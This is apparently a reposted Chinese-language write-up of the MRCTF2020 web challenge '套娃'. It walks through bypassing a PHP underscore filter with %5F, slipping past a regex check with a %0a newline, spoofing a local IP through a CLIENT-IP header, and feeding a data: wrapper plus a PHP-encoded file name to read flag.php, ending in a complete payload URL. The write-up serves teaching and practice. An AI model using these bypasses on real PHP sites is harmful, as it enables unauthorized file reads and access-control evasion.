首页 > 编程学习 > [MRCTF2020]套娃

[MRCTF2020]套娃

发布时间:2022/10/1 7:09:50

[MRCTF2020]套娃

首先打开题目查看源码得到:

在这里插入图片描述

进行代码分析,发现对查询的字符进行过滤有,_和%5f就die

然后利用 空格,.,%5F代替下划线代替
(重点:)
PHP字符解析特性学习连接:
学习连接

并且还要绕过23333的检测

利用%0a的换行符进行绕过:

传入参数:

?b%5Fu%5Fp%5Ft=23333%0a

在这里插入图片描述得到:
secrettw.php

访问在源码处发现:

在这里插入图片描述发现是

alert(“post me Merak”)

请求一个Merak得到源码:

在这里插入图片描述

进行源码解析发现,
有判断IP要等于127.0.0.1,并且测试只有:CLIENT-IP: 127.0.0.1
才能通过
并且2333传递的内容要用todat is a happy day
而且file读取文件是通过change解密的

所以我们读取的flag.php要通过加密在解密

加密脚本:

<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}
$a=unchange('flag.php');
echo base64_encode($a);
?>

得到加密的flag.php:

ZmpdYSZmXGI=

所以playload:

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
在这里插入图片描述

查看源码得到flag

在这里插入图片描述

Copyright © 2010-2022 mfbz.cn 版权所有 |关于我们| 联系方式|豫ICP备15888888号